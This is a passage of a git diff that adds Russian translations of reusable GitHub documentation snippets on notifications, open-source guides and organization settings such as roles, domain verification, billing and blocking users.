b/translations/ru-RU/data/reusables/notifications/access_watching.md @@ -0,0 +1,2 @@ +1. In the upper-right corner of any page, click {% octicon "bell" aria-label="The notifications bell" %}. If you've [disabled web notifications](/enterprise/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications) and you don't see the bell icon, you can navigate to . +![Notification indicating any unread message](/assets/images/help/notifications/notifications_general_existence_indicator.png) diff --git a/translations/ru-RU/data/reusables/notifications/auto-watch.md b/translations/ru-RU/data/reusables/notifications/auto-watch.md new file mode 100644 index 000000000000..f2365f2a95c6 --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications/auto-watch.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d26400a007d53357405ef375834a876c1c53aa57 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145123035" +--- +Вы автоматически отслеживаете все репозитории, созданные и принадлежащие вашей личной учетной записи. Вы также можете автоматически отслеживать все репозитории, к которым у вас есть доступ для передачи данных, за исключением вилок. Все остальные репозитории можно просмотреть вручную. diff --git a/translations/ru-RU/data/reusables/notifications/email-restrictions-verification.md b/translations/ru-RU/data/reusables/notifications/email-restrictions-verification.md new file mode 100644 index 000000000000..e1d3b81edb8b --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications/email-restrictions-verification.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7bfa46be685d6037a5f72573a48d9c5c0cb8927f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123032" +--- +{% ifversion fpt or ghec %} Чтобы продолжить получать уведомления по электронной почте после включения ограничений, участники должны проверить все адреса электронной почты в доменах, которые вы проверяете или утверждаете. Дополнительные сведения см. в статье [Проверка адреса электронной почты](/github/getting-started-with-github/verifying-your-email-address).{% endif %} diff --git a/translations/ru-RU/data/reusables/notifications/outbound_email_tip.md b/translations/ru-RU/data/reusables/notifications/outbound_email_tip.md new file mode 100644 index 000000000000..e8f714d69a02 --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications/outbound_email_tip.md @@ -0,0 +1,7 @@ +{% ifversion ghes or ghae %} +{% note %} + +**Note**: You'll only receive email notifications if outbound email support is enabled on {% data variables.location.product_location %}. For more information, contact your site administrator. + +{% endnote %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/notifications/saved_for_late_sidebar.md b/translations/ru-RU/data/reusables/notifications/saved_for_late_sidebar.md new file mode 100644 index 000000000000..3140e8a76173 --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications/saved_for_late_sidebar.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 50f6f804e37a6ac82a9a367a4c510189bdbce38e +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884731" +--- +1. Чтобы просмотреть сохраненные уведомления, нажмите на боковой панели слева кнопку **Сохранено для последующего использования**. +![Кнопка «Сохранено для последующего использования»](/assets/images/help/notifications/saved-for-later-tab.png) diff --git a/translations/ru-RU/data/reusables/notifications/shared_state.md b/translations/ru-RU/data/reusables/notifications/shared_state.md new file mode 100644 index 000000000000..76f7bb93f6ce --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications/shared_state.md @@ -0,0 +1,5 @@ +{% tip %} + +**Tip:** If you receive both web and email notifications, you can automatically sync the read or unread status of the notification so that web notifications are automatically marked as read once you've read the corresponding email notification. To enable this sync, your email client must be able to view images from {% ifversion fpt or ghec %}`notifications@github.com`{% else %}the `no-reply` email address {% ifversion ghae %}for your {% data variables.product.product_name %} hostname{% elsif ghes %}for {% data variables.location.product_location %}, which your site administrator configures{% endif %}{% endif %}. + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization.md b/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization.md new file mode 100644 index 000000000000..738b53fe7201 --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f86f510de500452b6eedc962e18e93632697b0a6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062389" +--- +Можно выбрать метод доставки и интервал уведомлений о {% data variables.product.prodname_dependabot_alerts %} в репозиториях, за которыми вы наблюдаете или для которых вы оформили подписку на оповещения безопасности. diff --git a/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization2.md b/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization2.md new file mode 100644 index 000000000000..4c7c249b839b --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization2.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9cf921d7f830c6d9ee2630a010f8e46c972e5651 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122984" +--- +Вы можете выбрать способ доставки уведомлений, а также интервал отправки уведомлений. diff --git a/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-enable.md b/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-enable.md new file mode 100644 index 000000000000..42e0c5e56050 --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-enable.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4b69be7957a4b13d2bc52a4672afb3ad6461a622 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147060549" +--- +{% ifversion fpt or ghes or ghec %} Чтобы получать уведомления о {% data variables.product.prodname_dependabot_alerts %} в репозиториях, необходимо отслеживать эти репозитории и подписаться на получение уведомлений "Все действия" или настроить пользовательские параметры, чтобы добавить "Оповещения безопасности". Дополнительные сведения см. в разделе [Настройка параметров наблюдения для отдельного репозитория](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository). +{% endif %} diff --git a/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-options.md b/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-options.md new file mode 100644 index 000000000000..35a05a1c1a0a --- /dev/null +++ b/translations/ru-RU/data/reusables/notifications/vulnerable-dependency-notification-options.md @@ -0,0 +1,23 @@ +{% ifversion fpt or ghec %}By default, you will receive notifications:{% endif %}{% ifversion ghes or ghae %}By default, if your enterprise owner has configured email for notifications on your instance, you will receive {% data variables.product.prodname_dependabot_alerts %}:{% endif %} + +- in your inbox, as web notifications. A web notification is sent when {% data variables.product.prodname_dependabot %} is enabled for a repository, when a new manifest file is committed to the repository, and when a new vulnerability with a critical or high severity is found (**On {% data variables.product.prodname_dotcom %}** option). +- by email, an email is sent when {% data variables.product.prodname_dependabot %} is enabled for a repository, when a new manifest file is committed to the repository, and when a new vulnerability with a critical or high severity is found (**Email** option).{% ifversion ghes < 3.8 or ghae < 3.8 %} +- in the user interface, a warning is shown in your repository's file and code views if there are any insecure dependencies (**UI alerts** option).{% endif %} +- on the command line, warnings are displayed as callbacks when you push to repositories with any insecure dependencies (**CLI** option). +{% ifversion not ghae %} +- on {% data variables.product.prodname_mobile %}, as web notifications. For more information, see "[Enabling push notifications with {% data variables.product.prodname_mobile %}](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-mobile)."{% endif %} + +{% note %} + +**Note:** The email and web{% ifversion not ghae %}/{% data variables.product.prodname_mobile %}{% endif %} notifications are: + +- _per repository_ when {% data variables.product.prodname_dependabot %} is enabled on the repository, or when a new manifest file is committed to the repository. + +- _per organization_ when a new vulnerability is discovered. + +{% endnote %} + +{% ifversion update-notification-settings-22 %} +You can customize the way you are notified about {% data variables.product.prodname_dependabot_alerts %}. For example, you can receive a daily or weekly digest email summarizing alerts for up to 10 of your repositories using the **Email weekly digest** option. +{% else %} +You can customize the way you are notified about {% data variables.product.prodname_dependabot_alerts %}. For example, you can receive a weekly digest email summarizing alerts for up to 10 of your repositories using the **Email a digest summary of vulnerabilities** and **Weekly security email digest** options.{% endif %} diff --git a/translations/ru-RU/data/reusables/open-source/open-source-guide-general.md b/translations/ru-RU/data/reusables/open-source/open-source-guide-general.md new file mode 100644 index 000000000000..e74670b4d18c --- /dev/null +++ b/translations/ru-RU/data/reusables/open-source/open-source-guide-general.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 316cd0befc8c79badf186cd5ea30127472e07042 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878780" +--- +Дополнительные сведения о продуктах с открытым кодом, в частности о создании и развитии проекта с открытым кодом см. в [Руководствах по проектам с открытым кодом](https://opensource.guide/), которые помогут вам содействовать работе сообщества разработчиков продуктов с открытым кодом. diff --git a/translations/ru-RU/data/reusables/open-source/open-source-guide-repositories.md b/translations/ru-RU/data/reusables/open-source/open-source-guide-repositories.md new file mode 100644 index 000000000000..dcfb67d2422b --- /dev/null +++ b/translations/ru-RU/data/reusables/open-source/open-source-guide-repositories.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 14d64e443095fbdf3930058f683d89a27ddaeb63 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879226" +--- +Дополнительные сведения о продуктах с открытым кодом, особенно о создании и развитии проекта с открытым кодом, мы создали [руководства по продуктам с открытым кодом](https://opensource.guide/), которые помогут создать работоспособный открытый код сообщества, формируя практические рекомендации по созданию и обслуживанию репозиториев для проекта с открытым кодом. diff --git a/translations/ru-RU/data/reusables/open-source/open-source-learning.md b/translations/ru-RU/data/reusables/open-source/open-source-learning.md new file mode 100644 index 000000000000..efca177b7c5b --- /dev/null +++ b/translations/ru-RU/data/reusables/open-source/open-source-learning.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 78bb4f821d2d438090d06e3ed184218b8ea59eb5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146139396" +--- +Вы также можете пройти бесплатный курс [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) по поддержанию сообществ разработчиков продуктов с открытым кодом. diff --git a/translations/ru-RU/data/reusables/organizations/about-custom-repo-roles.md b/translations/ru-RU/data/reusables/organizations/about-custom-repo-roles.md new file mode 100644 index 000000000000..8ddec3172e7e --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/about-custom-repo-roles.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 520bbbec14311803d1c62f528f7be9d21f68d9ff +ms.sourcegitcommit: ca040a1871ab5e929b596686ef955b02c5afa051 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/02/2022 +ms.locfileid: "148131015" +--- +Пользовательская роль репозитория — это настраиваемый набор разрешений с именем, которое вы можете выбрать самостоятельно. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/organizations/about-following-organizations.md b/translations/ru-RU/data/reusables/organizations/about-following-organizations.md new file mode 100644 index 000000000000..16ccc97ebab1 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/about-following-organizations.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f9490c302fe4534be6937805e0eec85fe9c5db1a +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109584" +--- +Если вы подписаны на организации в {% data variables.product.product_name %}, вы увидите ее {% ifversion fpt or ghec %}общедоступные{% endif %} действия на личной панели мониторинга. Это могут быть новые обсуждения, спонсорство и репозитории. diff --git a/translations/ru-RU/data/reusables/organizations/about-organizations.md b/translations/ru-RU/data/reusables/organizations/about-organizations.md new file mode 100644 index 000000000000..aacae3571439 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/about-organizations.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: e4791f436b38961954337b39fab5ec277663eb4f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147389982" +--- +Ваша команда может совместно работать над {% data variables.product.product_name %} с помощью учетной записи организации, которая служит контейнером для общей работы и определяет для нее уникальные имя и торговую марку. + +Каждый пользователь, работающий с {% data variables.product.prodname_dotcom %}, всегда входит в личную учетную запись, а несколько личных учетных записей могут совместно работать над общими проектами, присоединяясь к одной и той же учетной записи организации. Набору этих учетных записей пользователей может быть предоставлена роль владельца организации, что позволит этим пользователям детально управлять доступом к ресурсам организации, используя сложные функции безопасности и администрирования. diff --git a/translations/ru-RU/data/reusables/organizations/about-roles.md b/translations/ru-RU/data/reusables/organizations/about-roles.md new file mode 100644 index 000000000000..23557173b93b --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/about-roles.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: eb929dd1a062070759ebe6cd2a8efc087f162b7a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122944" +--- +Чтобы выполнить какие-либо действия с {% data variables.product.prodname_dotcom %}, например создание запроса на вытягивание в репозитории или изменение параметров выставления счетов организации, пользователь должен иметь достаточные разрешения для доступа к соответствующей учетной записи или ресурсу. Для управления доступом используются разрешения. Разрешение — это возможность выполнения конкретного действия. Например, возможность удалить проблему является разрешением. Роль — это набор разрешений, которые можно назначить отдельным пользователям или командам. diff --git a/translations/ru-RU/data/reusables/organizations/about-security-managers.md b/translations/ru-RU/data/reusables/organizations/about-security-managers.md new file mode 100644 index 000000000000..6e21f451ec45 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/about-security-managers.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 78f849004d0e02a528e28e6f1d419253640f12d6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122931" +--- +Менеджер по безопасности — это роль уровня организации, которую владельцы организации могут назначать любой команде в организации. Эта роль предоставляет каждому участнику команды разрешения на управление оповещениями системы безопасности и параметрами в масштабах всей организации, а также разрешения на чтение для всех репозиториев в организации. diff --git a/translations/ru-RU/data/reusables/organizations/add-a-domain.md b/translations/ru-RU/data/reusables/organizations/add-a-domain.md new file mode 100644 index 000000000000..bd2920d6ad75 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/add-a-domain.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0f2a0571a428301b509ccf7521c4b8b4a91b50ed +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122928" +--- +1. Нажмите **Добавить домен**. + ![Кнопка «Добавить домен»](/assets/images/help/organizations/add-a-domain-button.png) diff --git a/translations/ru-RU/data/reusables/organizations/add-dns-txt-record.md b/translations/ru-RU/data/reusables/organizations/add-dns-txt-record.md new file mode 100644 index 000000000000..c3747ca9f7f6 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/add-dns-txt-record.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 063dc80662bed6d976a3b9506ba8c20682d1b205 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122899" +--- +1. Следуйте инструкциям в разделе **Добавление DNS-записи в текстовом формате**, чтобы создать текстовую DNS-запись с помощью службы размещения доменов. + ![Инструкции по созданию текстовой DNS-записи](/assets/images/help/organizations/create-dns-txt-record-instructions.png) diff --git a/translations/ru-RU/data/reusables/organizations/add-domain.md b/translations/ru-RU/data/reusables/organizations/add-domain.md new file mode 100644 index 000000000000..c9a0f9b147ea --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/add-domain.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 9a6e3a66896890d727b9f7e70166b16f5e7e74a2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122891" +--- +1. В поле домена введите домен, который вы хотите проверить, а затем нажмите кнопку **Добавить домен**. + ![Добавление поля домена](/assets/images/help/organizations/add-domain-field.png) diff --git a/translations/ru-RU/data/reusables/organizations/add-extension-to-cert.md b/translations/ru-RU/data/reusables/organizations/add-extension-to-cert.md new file mode 100644 index 000000000000..5dd497d15cd4 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/add-extension-to-cert.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5e69443221883b1d3cb49c55026643fdc0de425a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122888" +--- +При выдаче каждого сертификата клиента необходимо включить расширение, указывающее, для какого пользователя {% data variables.product.product_name %} используется сертификат. Дополнительные сведения см. в разделе [Сведения о центрах сертификации SSH](/articles/about-ssh-certificate-authorities). diff --git a/translations/ru-RU/data/reusables/organizations/add-user-to-teams.md b/translations/ru-RU/data/reusables/organizations/add-user-to-teams.md new file mode 100644 index 000000000000..c3bd565dfeb8 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/add-user-to-teams.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9ecdad244d406af65cf580eef9a391c502fd2927 +ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878602" +--- +1. При необходимости добавьте пользователя в команды в организации. ![Список команд в организации](/assets/images/help/organizations/add-user-to-teams.png) diff --git a/translations/ru-RU/data/reusables/organizations/app-managers-settings-sidebar.md b/translations/ru-RU/data/reusables/organizations/app-managers-settings-sidebar.md new file mode 100644 index 000000000000..02d60a33a3e2 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/app-managers-settings-sidebar.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 7a3283a1478be4d83af3c3af9f431e4d4fc1cffc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145122875" +--- +1. На левой боковой панели щелкните **Диспетчеры приложений**. +![Кнопка боковой панели «Диспетчеры приложений»](/assets/images/help/organizations/app-managers-sidebar-button.png) diff --git a/translations/ru-RU/data/reusables/organizations/billing-settings.md b/translations/ru-RU/data/reusables/organizations/billing-settings.md new file mode 100644 index 000000000000..6456fb0651fe --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/billing-settings.md @@ -0,0 +1,4 @@ +{% data reusables.user-settings.access_settings %} +1. In the "Access" section of the sidebar, click **{% octicon "organization" aria-label="The organization icon" %} Organizations**. +{% data reusables.profile.org_settings %} +1. If you are an organization owner, in the "Access" section of the sidebar, click **{% octicon "credit-card" aria-label="The credit-card icon" %} Billing and plans**. diff --git a/translations/ru-RU/data/reusables/organizations/billing_plans.md b/translations/ru-RU/data/reusables/organizations/billing_plans.md new file mode 100644 index 000000000000..e7f421ccbce6 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/billing_plans.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-label="The credit card icon" %} Billing and plans**. +{% else %} +1. In your organization's Settings sidebar, click **Billing & plans**. +![Billing settings](/assets/images/help/billing/settings_organization_billing_plans_tab.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/block_users.md b/translations/ru-RU/data/reusables/organizations/block_users.md new file mode 100644 index 000000000000..60ace894696b --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/block_users.md @@ -0,0 +1 @@ +1. In the sidebar, select **{% octicon "report" aria-label="The report icon" %} Moderation**, then click **Blocked users**. diff --git a/translations/ru-RU/data/reusables/organizations/blocking-a-user.md b/translations/ru-RU/data/reusables/organizations/blocking-a-user.md new file mode 100644 index 000000000000..67183a5faa2b --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/blocking-a-user.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 44fb7593fc71c38604cb0e7b96ea0439c7028a1f +ms.sourcegitcommit: 1529de77bfcbe45519131b5f5fb3ab319758c2d2 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: "148164228" +--- +Можно заблокировать пользователя на неопределенный срок или на определенный период времени. При блокировке на определенный период времени пользователь автоматически будет разблокирован после истечения выбранного времени. При блокировке на неопределенный срок можно разблокировать пользователя вручную в любое время. Дополнительные сведения см. в разделе [Разблокирование пользователя из организации](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/organizations/can-require-ssh-cert.md b/translations/ru-RU/data/reusables/organizations/can-require-ssh-cert.md new file mode 100644 index 000000000000..de440f0a438f --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/can-require-ssh-cert.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7003221be37ffe4f7cc173c1de5ba73068543f13 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145122856" +--- +Вы можете потребовать, чтобы участники использовали сертификаты SSH для доступа к ресурсам организации, если только SSH не отключен в репозитории. diff --git a/translations/ru-RU/data/reusables/organizations/cancel_org_invite.md b/translations/ru-RU/data/reusables/organizations/cancel_org_invite.md new file mode 100644 index 000000000000..c7d28c4a7274 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/cancel_org_invite.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 6812a6acf832b2e785ceca0dc229b7743bed8368 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145122843" +--- +{% ifversion fpt or ghec %} Можно [изменить или отменить приглашение](/articles/canceling-or-editing-an-invitation-to-join-your-organization) в любое время до того, как его примет пользователь. +{% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/child-team-inherits-permissions.md b/translations/ru-RU/data/reusables/organizations/child-team-inherits-permissions.md new file mode 100644 index 000000000000..22494e7db7fa --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/child-team-inherits-permissions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bbc2fa837cc78c8ea32c58793bb4e6046c86e644 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145122816" +--- +Дочерние команды наследуют разрешения на доступ родительской команды. Дополнительные сведения об иерархиях команд см. в разделе [Сведения о командах](/articles/about-teams#nested-teams). diff --git a/translations/ru-RU/data/reusables/organizations/choose-to-restore-privileges.md b/translations/ru-RU/data/reusables/organizations/choose-to-restore-privileges.md new file mode 100644 index 000000000000..2f5953a42d3d --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/choose-to-restore-privileges.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: f48d8f2c8e9e4931b00f7ec1bb943f1cb2695252 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145122811" +--- +{% ifversion fpt or ghec %}1. Если приглашенный пользователь был участником организации в течение последних трех месяцев, укажите, следует ли восстановить его привилегии или начать заново, а затем нажмите кнопку **Пригласить и восстановить** или **Пригласить и начать заново**. + ![Укажите, следует ли восстановить привилегии](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png){% else %} +1. Если добавляемый пользователь был участником организации в течение последних трех месяцев, укажите, следует ли восстановить его привилегии или начать заново, а затем нажмите кнопку **Добавить и восстановить** или **Добавить и начать заново**. + ![Укажите, следует ли восстановить привилегии](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png){% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/choose-user-license.md b/translations/ru-RU/data/reusables/organizations/choose-user-license.md new file mode 100644 index 000000000000..aefe98b502aa --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/choose-user-license.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ffd984b24f9a0c9083770813179fcf8bfbbb275d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122808" +--- +1. Если ваша организация принадлежит корпоративной учетной записи с несколькими лицензиями, выберите лицензию для пользователя. ![Варианты лицензии](/assets/images/help/organizations/choose-user-license.png) diff --git a/translations/ru-RU/data/reusables/organizations/choose-user-role-send-invitation.md b/translations/ru-RU/data/reusables/organizations/choose-user-role-send-invitation.md new file mode 100644 index 000000000000..24c6582fd74a --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/choose-user-role-send-invitation.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 39dca791bca396273c4e77a81a265fcf4a6c24ae +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878708" +--- +{% ifversion fpt or ghec %}1. Если приглашенный пользователь никогда не был членом организации или если вы удалили его привилегии, выберите роль для пользователя и при необходимости добавьте его в команды, а затем нажмите кнопку **Отправить приглашение**. + ![Параметры роли и команды и кнопка отправки приглашения](/assets/images/help/organizations/add-role-send-invitation.png){% else %} +1. Если приглашенный пользователь никогда не был членом организации или если вы удалили его привилегии, выберите роль для пользователя и при необходимости добавьте его в команды, а затем нажмите кнопку **Добавить участника**. + ![Параметры роли и команды и кнопка добавления участника](/assets/images/help/organizations/add-role-add-member.png){% else %} +1. Выберите роль для пользователя и при необходимости добавьте пользователя в некоторые команды, а затем нажмите кнопку **Добавить участника**. + ![Параметры роли и команды и кнопка добавления участника](/assets/images/help/organizations/add-role-add-member-2.7-lower.png){% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/choose-user-role.md b/translations/ru-RU/data/reusables/organizations/choose-user-role.md new file mode 100644 index 000000000000..e7c1c20f5381 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/choose-user-role.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 676241293c9fb5e2d69e354543a6cadcd364978d +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145122795" +--- +1. Если приглашенный пользователь никогда не был участником организации или, если вы очистили его привилегии, выберите для него роль в организации. ![Параметры добавления пользователя как участника или владельца](/assets/images/help/organizations/choose-new-member-role.png) diff --git a/translations/ru-RU/data/reusables/organizations/click-codespaces.md b/translations/ru-RU/data/reusables/organizations/click-codespaces.md new file mode 100644 index 000000000000..5471e123e098 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/click-codespaces.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 57095145d8d31158538b6bca5fa65f29061a1178 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122792" +--- +1. На боковой панели слева нажмите **{% octicon "codespaces" aria-label="The codespaces icon" %} Codespaces**. diff --git a/translations/ru-RU/data/reusables/organizations/continue-verifying-domain.md b/translations/ru-RU/data/reusables/organizations/continue-verifying-domain.md new file mode 100644 index 000000000000..9da0027b4cf0 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/continue-verifying-domain.md @@ -0,0 +1,4 @@ +9. To the right of the domain that's pending verification, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Continue verifying**. +![Continue verifying domain button](/assets/images/help/organizations/continue-verifying-domain.png) +10. Click **Verify**. +![Verify 